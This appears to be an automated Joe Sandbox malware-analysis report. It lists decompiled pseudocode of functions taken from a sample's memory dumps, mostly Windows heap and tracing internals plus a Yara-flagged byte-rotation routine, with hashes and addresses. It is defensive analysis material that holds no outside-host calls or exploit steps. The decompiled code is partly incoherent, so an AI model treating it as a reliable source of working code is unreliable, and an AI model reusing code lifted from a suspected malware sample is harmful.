							_t66 =  *((intOrPtr*)(_t84 + 0x2c));
							_t77 = _v8;
							if(_v8 <=  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x2c)) + 0x28)) - 8) {
								E00E6C8F7(_t66, _t77, 0);
							}
						}
					} else {
						_t80 = E00E6DBD2(__ecx[0xb], _t74, __edx, _a4);
					}
					if(L00DC7D50() == 0) {
						_t43 = 0x7ffe0380;
					} else {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t43 == 0 || ( *( *[fs:0x30] + 0x240) & 0x00000001) == 0 || _t80 == 0) {
						goto L22;
					} else {
						_push((0 | ( *(_v12 + 0xc) & 0x0000000c) != 0x00000008) + 2);
						goto L21;
					}
				} else {
					_push(__ecx);
					_push(_t80);
					E00E6A80D(__ecx[0xf], 9, __edx, _t80);
					L22:
					return _t80;
				}
			}

0x00e6fde7
0x00e6fde8
0x00e6fdec
0x00e6fdee
0x00e6fdf5
0x00e6fdf7
0x00e6fdfc
0x00e6fe19
0x00e6fe22
0x00e6fe26
0x00e6fec6
0x00e6fecd
0x00e6fed5
0x00e6fee7
0x00e6fed7
0x00e6fee0
0x00e6fee0
0x00e6feef
0x00e6ff00
0x00e6ff02
0x00e6ff07
0x00e6ff07
0x00000000
0x00e6feef
0x00e6fe33
0x00e6fe55
0x00e6fe59
0x00e6fe5b
0x00e6fe5e
0x00e6fe69
0x00e6fe6d
0x00e6fe6d
0x00e6fe69
0x00e6fe35
0x00e6fe41
0x00e6fe41
0x00e6fe79
0x00e6fe8b
0x00e6fe7b
0x00e6fe84
0x00e6fe84
0x00e6fe93
0x00000000
0x00e6fea8
0x00e6feba
0x00000000
0x00e6feba
0x00e6fdfe
0x00e6fe01
0x00e6fe02
0x00e6fe08
0x00e6ff0c
0x00e6ff14
0x00e6ff14

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction ID: fd90f44719c1d720ec798bc3b00940ae6161415558b4d70fc9ade944c2bba5a3
Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction Fuzzy Hash: 7A314832780640AFC322D768F855F6A7BE9EBC5390F186078F446AB352DA71DC01C720

Uniqueness

Uniqueness Score: -1.00%

Function 00E722AE Relevance: .1, Instructions: 116
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00E722AE(void* __ecx, intOrPtr __edx, void* __eflags, signed int _a4, signed int _a8, char* _a12) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t50;
				signed int _t53;
				void* _t63;
				signed char _t71;
				signed char _t75;
				signed int _t77;
				unsigned int _t106;
				void* _t114;
				signed int _t117;

				_v20 = _v20 & 0x00000000;
				_t117 = _a4;
				_t114 = __ecx;
				_v24 = __edx;
				E00E721E8(_t117, __edx,  &_v16,  &_v12);
				if(_v24 != 0 && (_v12 | _v8) != 0) {
					_t71 =  !_v8;
					_v16 =  !_v12 >> 8 >> 8;
					_t72 = _t71 >> 8;
					_t50 = _v16;
					_t20 = (_t50 >> 8) + 0xd8ac00; // 0x6070708
					_t75 = ( *((intOrPtr*)((_t71 >> 8 >> 8 >> 8) + 0xd8ac00)) +  *((intOrPtr*)((_t71 >> 0x00000008 >> 0x00000008 & 0x000000ff) + 0xd8ac00)) +  *((intOrPtr*)((_t71 & 0x000000ff) + 0xd8ac00)) +  *((intOrPtr*)((_t72 & 0x000000ff) + 0xd8ac00)) & 0x000000ff) + ( *_t20 +  *((intOrPtr*)((_t50 & 0x000000ff) + 0xd8ac00)) +  *((intOrPtr*)((_t71 & 0x000000ff) + 0xd8ac00)) +  *((intOrPtr*)((_t72 & 0x000000ff) + 0xd8ac00)) & 0x000000ff);
					_v16 = _t75;
					if(( *(__ecx + 0x38) & 0x00000002) != 0) {
						L6:
						_t53 =  *0xe96110; // 0xdebee063
						 *_t117 = ( !_t53 ^  *_t117 ^ _t117) & 0x7fffffff ^  !_t53 ^ _t117;
						 *(_t117 + 4) = (_t117 - _v24 >> 0x0000000c ^  *0xe96110 ^ _t117) & 0x000000ff | 0x00000200;
						_t77 = _a8 & 0x00000001;
						if(_t77 == 0) {
							L00DBFFB0(_t77, _t114, _t114);
						}
						_t63 = L00E72FBD(_t114, _v24, _v12, _v8, _v16, 0);
						_v36 = 1;
						if(_t77 == 0) {
							E00DC2280(_t63, _t114);
						}
						 *(_t117 + 4) =  *(_t117 + 4) & 0xfffffdff;
						 *_a12 = 0xff;
					} else {
						_t106 =  *(__ecx + 0x18) >> 7;
						if(_t106 <= 8) {
							_t106 = 8;
						}
						if( *((intOrPtr*)(_t114 + 0x1c)) + _t75 > _t106) {
							goto L6;
						}
					}
				}
				return _v20;
			}

0x00e722b9
0x00e722c2
0x00e722c6
0x00e722c8
0x00e722d8
0x00e722e2
0x00e72303
0x00e72314
0x00e72321
0x00e7234a
0x00e7235b
0x00e7236c
0x00e72372
0x00e72376
0x00e7238f
0x00e7238f
0x00e723b4
0x00e723c6
0x00e723c9
0x00e723cc
0x00e723cf
0x00e723cf
0x00e723e9
0x00e723ee
0x00e723f8
0x00e723fb
0x00e723fb
0x00e72403
0x00e7240a
0x00e72378
0x00e7237b
0x00e72381
0x00e72385
0x00e72385
0x00e7238d
0x00000000
0x00000000
0x00e7238d
0x00e72376
0x00e72417

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4baefd51a15436e6b8b0ab302d3a54f6bbb47a9ea8167f09b584e7ac2d4e8182
Instruction ID: cb07ed574e0b961208f2455220b3ded8656dd91453ca9600dc462123416ac23d
Opcode Fuzzy Hash: 4baefd51a15436e6b8b0ab302d3a54f6bbb47a9ea8167f09b584e7ac2d4e8182
Instruction Fuzzy Hash: 564116711043524BD304CF29C8A197ABBF0EF85325F058A9EF5D99B2C2CA38D809C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00E720A8 Relevance: .1, Instructions: 114
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E00E720A8(intOrPtr __ecx, intOrPtr __edx, signed int _a4, signed int* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _t35;
				signed int _t57;
				unsigned int _t61;
				signed int _t63;
				signed int _t64;
				signed int _t73;
				signed int _t77;
				signed int _t80;
				signed int _t83;
				signed int _t84;
				unsigned int _t92;
				unsigned int _t97;
				signed int _t100;
				unsigned int _t102;

				_t79 = __edx;
				_t35 =  *0xe96110; // 0xdebee063
				_t57 = _a4;
				_v8 = __ecx;
				_t84 =  *_t57;
				_v12 = __edx;
				_t61 = _t84 ^ _t35 ^ _t57;
				_t83 = _t61 >> 0x00000001 & 0x00007fff;
				_v20 = _t83;
				 *_t57 = (_t84 ^ _t35 ^ _t57) & 0x7fffffff ^ _t35 ^ _t57;
				_t63 = _t61 >> 0x00000010 & 0x00007fff;
				if(_t63 != 0) {
					_t100 =  *0xe96110; // 0xdebee063
					_t77 = _t57 - (_t63 << 3);
					_v16 = _t77;
					_t102 = _t100 ^ _t77 ^  *_t77;
					_t106 = _t102;
					if(_t102 >= 0) {
						L00E72E3F(_v8, __edx, _t106, _t77);
						_t57 = _v16;
						_t79 = _v12;
						_t83 = _t83 + (_t102 >> 0x00000001 & 0x00007fff);
					}
				}
				_t64 = _t57 + _t83 * 8;
				if(_t64 < _t79 + (( *(_t79 + 0x14) & 0x0000ffff) + 3) * 8) {
					asm("lfence");
					_t97 =  *_t64 ^  *0xe96110 ^ _t64;
					_t109 = _t97;
					if(_t97 >= 0) {
						L00E72E3F(_v8, _t79, _t109, _t64);
						_t79 = _v12;
						_t83 = _t83 + (_t97 >> 0x00000001 & 0x00007fff);
					}
				}
				if(( *(_v8 + 0x38) & 0x00000001) != 0) {
					_t73 = _t57 + _t83 * 8;
					if(_t73 < _t79 + (( *(_t79 + 0x14) & 0x0000ffff) + 3) * 8) {
						asm("lfence");
						_t92 =  *_t73 ^  *0xe96110 ^ _t73;
						_t113 = _t92;
						if(_t92 >= 0) {
							L00E72E3F(_v8, _t79, _t113, _t73);
							_t83 = _t83 + (_t92 >> 0x00000001 & 0x00007fff);
						}
					}
				}
				if(_v20 != _t83) {
					_t66 = _v12;
					_t80 = _t57 + _t83 * 8;
					 *_t57 =  *_t57 ^ (_t83 + _t83 ^  *_t57 ^  *0xe96110 ^ _t57) & 0x0000fffe;
					if(_t80 < _v12 + (( *(_t66 + 0x14) & 0x0000ffff) + 3) * 8) {
						 *_t80 =  *_t80 ^ (_t83 << 0x00000010 ^  *_t80 ^  *0xe96110 ^ _t80) & 0x7fff0000;
					}
				}
				 *_a8 = _t83;
				return _t57;
			}

0x00e720a8
0x00e720b0
0x00e720b6
0x00e720ba
0x00e720be
0x00e720c4
0x00e720cb
0x00e720db
0x00e720e4
0x00e720e7
0x00e720e9
0x00e720ef
0x00e720f1
0x00e720fe
0x00e72102
0x00e72105
0x00e72105
0x00e72107
0x00e7210d
0x00e72112
0x00e72115
0x00e72120
0x00e72120
0x00e72107
0x00e72126
0x00e72131
0x00e72133
0x00e7213e
0x00e7213e
0x00e72140
0x00e72146
0x00e7214b
0x00e72156
0x00e72156
0x00e72140
0x00e7215f
0x00e72165
0x00e72170
0x00e72172
0x00e7217d
0x00e7217d
0x00e7217f
0x00e72185
0x00e72192
0x00e72192
0x00e7217f
0x00e72170
0x00e72197
0x00e72199
0x00e721a1
0x00e721b1
0x00e721bf
0x00e721d6
0x00e721d6
0x00e721bf
0x00e721dd
0x00e721e5

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c4d35c88bf950b1154ad65cad8e4e228cace541e35686a36055b7dfb35421b9
Instruction ID: 3b18aa4e1c614d92b22fc1fcc722f8820a4d02321f3a0a1d3973c0a9d64075c0
Opcode Fuzzy Hash: 9c4d35c88bf950b1154ad65cad8e4e228cace541e35686a36055b7dfb35421b9
Instruction Fuzzy Hash: 58419433E1502A8BCB18CF69C891579B3F1FF48305B5681BED919BB291DB34AD45C790

Uniqueness

Uniqueness Score: -1.00%

Function 00E6EA55 Relevance: .1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00E6EA55(intOrPtr* __ecx, char __edx, signed int _a4) {
				signed int _v8;
				char _v12;
				intOrPtr _v15;
				char _v16;
				intOrPtr _v19;
				void* _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t26;
				signed int _t27;
				char* _t40;
				unsigned int* _t50;
				intOrPtr* _t58;
				unsigned int _t59;
				char _t75;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr* _t91;

				_t75 = __edx;
				_t91 = __ecx;
				_v12 = __edx;
				_t50 = __ecx + 0x30;
				_t86 = _a4 & 0x00000001;
				if(_t86 == 0) {
					E00DC2280(_t26, _t50);
					_t75 = _v16;
				}
				_t58 = _t91;
				_t27 = E00E6E815(_t58, _t75);
				_v8 = _t27;
				if(_t27 != 0) {
					E00DAF900(_t91 + 0x34, _t27);
					if(_t86 == 0) {
						L00DBFFB0(_t50, _t86, _t50);
					}
					_push( *((intOrPtr*)(_t91 + 4)));
					_push( *_t91);
					_t59 =  *(_v8 + 0x10);
					_t53 = 1 << (_t59 >> 0x00000002 & 0x0000003f);
					_push(0x8000);
					_t11 = _t53 - 1; // 0x0
					_t12 = _t53 - 1; // 0x0
					_v16 = ((_t59 >> 0x00000001 & 1) + (_t59 >> 0xc) << 0xc) - 1 + (1 << (_t59 >> 0x00000002 & 0x0000003f)) - (_t11 + ((_t59 >> 0x00000001 & 1) + (_t59 >> 0x0000000c) << 0x0000000c) & _t12);
					L00E6AFDE( &_v12,  &_v16);
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					E00E6BCD2(_v8,  *_t91,  *((intOrPtr*)(_t91 + 4)));
					_t55 = _v36;
					_t88 = _v36;
					if(L00DC7D50() == 0) {
						_t40 = 0x7ffe0388;
					} else {
						_t55 = _v19;
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t40 != 0) {
						L00E5FE3F(_t55, _t91, _v15, _t55);
					}
				} else {
					if(_t86 == 0) {
						L00DBFFB0(_t50, _t86, _t50);
						_t75 = _v16;
					}
					_push(_t58);
					_t88 = 0;
					_push(0);
					E00E6A80D(_t91, 8, _t75, 0);
				}
				return _t88;
			}

0x00e6ea55
0x00e6ea66
0x00e6ea68
0x00e6ea6c
0x00e6ea6f
0x00e6ea72
0x00e6ea75
0x00e6ea7a
0x00e6ea7a
0x00e6ea7e
0x00e6ea80
0x00e6ea85
0x00e6ea8b
0x00e6eab5
0x00e6eabc
0x00e6eabf
0x00e6eabf
0x00e6eaca
0x00e6eace
0x00e6ead0
0x00e6eae4
0x00e6eaeb
0x00e6eaf0
0x00e6eaf5
0x00e6eb09
0x00e6eb0d
0x00e6eb1d
0x00e6eb2d
0x00e6eb38
0x00e6eb3d
0x00e6eb41
0x00e6eb4a
0x00e6eb60
0x00e6eb4c
0x00e6eb52
0x00e6eb59
0x00e6eb59
0x00e6eb68
0x00e6eb71
0x00e6eb71
0x00e6ea8d
0x00e6ea8f
0x00e6ea92
0x00e6ea97
0x00e6ea97
0x00e6ea9b
0x00e6ea9c
0x00e6ea9e
0x00e6eaa6
0x00e6eaa6
0x00e6eb7e

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction ID: 817466e004ca6e64d357a593304c032fa6ebaf8fb618939f6a4987e0fc90523b
Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction Fuzzy Hash: 7E31D0366047059BC729DF24D881A6BB7E9FFC0350F04492DF55297381EE30E809CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E269A6 Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00E269A6(signed short* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char* _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				char _v72;
				signed short* _v76;
				signed int _v80;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t68;
				intOrPtr _t73;
				signed short* _t74;
				void* _t77;
				void* _t78;
				signed int _t79;
				signed int _t80;

				_v8 =  *0xe9d360 ^ _t80;
				_t75 = 0x100;
				_v64 = _v64 & 0x00000000;
				_v76 = __ecx;
				_t79 = 0;
				_t68 = 0;
				_v72 = 1;
				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
				_t77 = 0;
				if(L00DB6C59(__ecx[2], 0x100, __eflags) != 0) {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t79 != 0 && E00E26BA3() != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0x1f0003);
						_push( &_v64);
						if(E00DE9980() >= 0) {
							E00DC2280(_t56, 0xe98778);
							_t77 = 1;
							_t68 = 1;
							if( *0xe98774 == 0) {
								asm("cdq");
								 *(_t79 + 0xf70) = _v64;
								 *(_t79 + 0xf74) = 0x100;
								_t75 = 0;
								_t73 = 4;
								_v60 =  &_v68;
								_v52 = _t73;
								_v36 = _t73;
								_t74 = _v76;
								_v44 =  &_v72;
								 *0xe98774 = 1;
								_v56 = 0;
								_v28 = _t74[2];
								_v48 = 0;
								_v20 = ( *_t74 & 0x0000ffff) + 2;
								_v40 = 0;
								_v32 = 0;
								_v24 = 0;
								_v16 = 0;
								if(L00DAB6F0(0xd8c338, 0xd8c288, 3,  &_v60) == 0) {
									_v80 = _v80 | 0xffffffff;
									_push( &_v84);
									_push(0);
									_push(_v64);
									_v84 = 0xfa0a1f00;
									L00DE9520();
								}
							}
						}
					}
				}
				if(_v64 != 0) {
					_push(_v64);
					E00DE95D0();
					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
				}
				if(_t77 != 0) {
					L00DBFFB0(_t68, _t77, 0xe98778);
				}
				_pop(_t78);
				return L00DEB640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
			}

0x00e269b5
0x00e269be
0x00e269c3
0x00e269c9
0x00e269cc
0x00e269d1
0x00e269d3
0x00e269de
0x00e269e1
0x00e269ea
0x00e269f6
0x00e269fe
0x00e26a13
0x00e26a14
0x00e26a15
0x00e26a16
0x00e26a1e
0x00e26a26
0x00e26a31
0x00e26a36
0x00e26a37
0x00e26a40
0x00e26a49
0x00e26a4a
0x00e26a53
0x00e26a59
0x00e26a5d
0x00e26a5e
0x00e26a64
0x00e26a67
0x00e26a6a
0x00e26a6d
0x00e26a70
0x00e26a77
0x00e26a7d
0x00e26a86
0x00e26a89
0x00e26a9c
0x00e26a9f
0x00e26aa2
0x00e26aa5
0x00e26aaf
0x00e26ab1
0x00e26ab8
0x00e26ab9
0x00e26abb
0x00e26abe
0x00e26ac5
0x00e26ac5
0x00e26aaf
0x00e26a40
0x00e26a26
0x00e269fe
0x00e26ace
0x00e26ad0
0x00e26ad3
0x00e26ad8
0x00e26adf
0x00e26adf
0x00e26ae8
0x00e26aef
0x00e26aef
0x00e26af9
0x00e26b06

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cca86392c8143dfec5e0ce56f01c54bc2f31ad234bb48dd5d28fe106cfa31a53
Instruction ID: f896980200f500f5782a52585cbd9af7a55524c81a42dbe7e43a6fad74f91b63
Opcode Fuzzy Hash: cca86392c8143dfec5e0ce56f01c54bc2f31ad234bb48dd5d28fe106cfa31a53
Instruction Fuzzy Hash: 964198B1D00218AFDB20DFA9D941BFEBBF8EF48714F14822AE815B7251DB309905CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00011030 Relevance: .1, Instructions: 108
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00011030(signed char* __eax) {
				signed char* _t37;
				unsigned int _t65;
				unsigned int _t73;
				unsigned int _t81;
				unsigned int _t88;
				signed char _t94;
				signed char _t97;
				signed char _t100;

				_t37 = __eax;
				_t65 = ((((__eax[0xc] & 0x000000ff) << 0x00000008 | __eax[0xd] & 0x000000ff) & 0x0000ffff) << 0x00000008 | __eax[0xe] & 0xff) << 0x00000007 | (__eax[0xf] & 0x000000ff) >> 0x00000001;
				_t94 = __eax[0xb];
				if((_t94 & 0x00000001) != 0) {
					_t65 = _t65 | 0x80000000;
				}
				_t37[0xc] = _t65 >> 0x18;
				_t37[0xf] = _t65;
				_t37[0xd] = _t65 >> 0x10;
				_t73 = ((((_t37[8] & 0x000000ff) << 0x00000008 | _t37[9] & 0x000000ff) & 0x0000ffff) << 0x00000008 | _t37[0xa] & 0xff) << 0x00000007 | (_t94 & 0x000000ff) >> 0x00000001;
				_t97 = _t37[7];
				_t37[0xe] = _t65 >> 8;
				if((_t97 & 0x00000001) != 0) {
					_t73 = _t73 | 0x80000000;
				}
				_t37[8] = _t73 >> 0x18;
				_t37[0xb] = _t73;
				_t37[9] = _t73 >> 0x10;
				_t81 = ((((_t37[4] & 0x000000ff) << 0x00000008 | _t37[5] & 0x000000ff) & 0x0000ffff) << 0x00000008 | _t37[6] & 0xff) << 0x00000007 | (_t97 & 0x000000ff) >> 0x00000001;
				_t100 = _t37[3];
				_t37[0xa] = _t73 >> 8;
				if((_t100 & 0x00000001) != 0) {
					_t81 = _t81 | 0x80000000;
				}
				_t37[4] = _t81 >> 0x18;
				_t37[7] = _t81;
				_t37[5] = _t81 >> 0x10;
				_t88 = (((_t37[1] & 0x000000ff) << 0x00000008 | _t37[2] & 0x000000ff) & 0x00ffffff | ( *_t37 & 0x000000ff) << 0x00000010) << 0x00000007 | (_t100 & 0x000000ff) >> 0x00000001;
				 *_t37 = _t88 >> 0x18;
				_t37[1] = _t88 >> 0x10;
				_t37[6] = _t81 >> 8;
				_t37[2] = _t88 >> 8;
				_t37[3] = _t88;
				return _t37;
			}

0x00011030
0x0001105b
0x0001105d
0x00011063
0x00011065
0x00011065
0x00011071
0x00011076
0x0001107c
0x000110ac
0x000110ae
0x000110b4
0x000110ba
0x000110bc
0x000110bc
0x000110cb
0x000110d0
0x000110d6
0x00011101
0x00011103
0x00011109
0x0001110f
0x00011111
0x00011111
0x00011120
0x00011128
0x0001112b
0x0001114f
0x00011156
0x0001115d
0x00011169
0x0001116c
0x0001116f
0x00011173

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f1a47e469db01a1eef6c7f2d5b49e19d955ffd97c7228385fc8c35807cfa85
Instruction ID: 8467cde83aec70c27603fbdb7fb7057f34d4dc659b4ef569c94a19d355de7a78
Opcode Fuzzy Hash: a4f1a47e469db01a1eef6c7f2d5b49e19d955ffd97c7228385fc8c35807cfa85
Instruction Fuzzy Hash: A23180116586F10ED30E836D08BDA75AEC18F9720174EC2FEDADA6F2F3C0888408D3A1

Uniqueness

Uniqueness Score: -1.00%

Function 00DA5210 Relevance: .1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00DA5210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				intOrPtr _t35;
				signed int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E00DA52A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *((intOrPtr*)(_t31 + 0x28));
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *((intOrPtr*)(_t61 + 0x10));
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E00DE95D0();
							L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					} else {
						E00DBEB70(_t54, 0xe979a0);
					}
					_t26 = _t52 + 2; // 0xddeeddf0
					return _t26;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E00DE95D0();
								L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
							}
						} else {
							E00DBEB70(_t54, 0xe979a0);
						}
						return _t52;
					}
					L5:
					_t33 = E00DEF3E0(_a8, _t54, _t52);
					if(_t61 == 0) {
						E00DBEB70(_t54, 0xe979a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E00DE95D0();
							L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t52 + _t35)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x00da5220
0x00da5224
0x00e00d13
0x00e00d16
0x00e00d19
0x00da522a
0x00da522a
0x00da522d
0x00da522d
0x00da5231
0x00da5235
0x00da5239
0x00e00d5c
0x00e00d62
0x00000000
0x00000000
0x00e00d6a
0x00e00d7b
0x00e00d7f
0x00e00d81
0x00e00d84
0x00e00d95
0x00e00d95
0x00e00d6c
0x00e00d71
0x00e00d71
0x00e00d9a
0x00000000
0x00da524a
0x00da524a
0x00da5250
0x00e00d24
0x00e00d35
0x00e00d39
0x00e00d3b
0x00e00d3e
0x00e00d50
0x00e00d50
0x00e00d26
0x00e00d2b
0x00e00d2b
0x00000000
0x00e00d55
0x00da5256
0x00da525b
0x00da5265
0x00e00da7
0x00da526b
0x00da526e
0x00da5272
0x00e00db1
0x00e00db4
0x00e00dc5
0x00e00dc5
0x00da5272
0x00da5278
0x00da527e
0x00da528a
0x00da528c
0x00da528d
0x00000000
0x00da5280
0x00da5282
0x00da5288
0x00da529f
0x00da5292
0x00000000
0x00da5292
0x00000000
0x00da5288
0x00da527e

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b958881b838176e7927a99b0106df5e1944eefd9fe93e0efe5123bbeec8112ac
Instruction ID: dee32036d1c762fb3d8c5a1cdceab784aa660967257de3461c703aba2365e5a8
Opcode Fuzzy Hash: b958881b838176e7927a99b0106df5e1944eefd9fe93e0efe5123bbeec8112ac
Instruction Fuzzy Hash: 3F314831251B11EBCB26AF58D881F6677A5FF51720F214A29F45A2B1E5DB30EC40C6F4

Uniqueness

Uniqueness Score: -1.00%

Function 00E27016 Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00E27016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0xe9d360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E00E26B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E00E26B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(L00DC7D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E00DE9AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return L00DEB640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
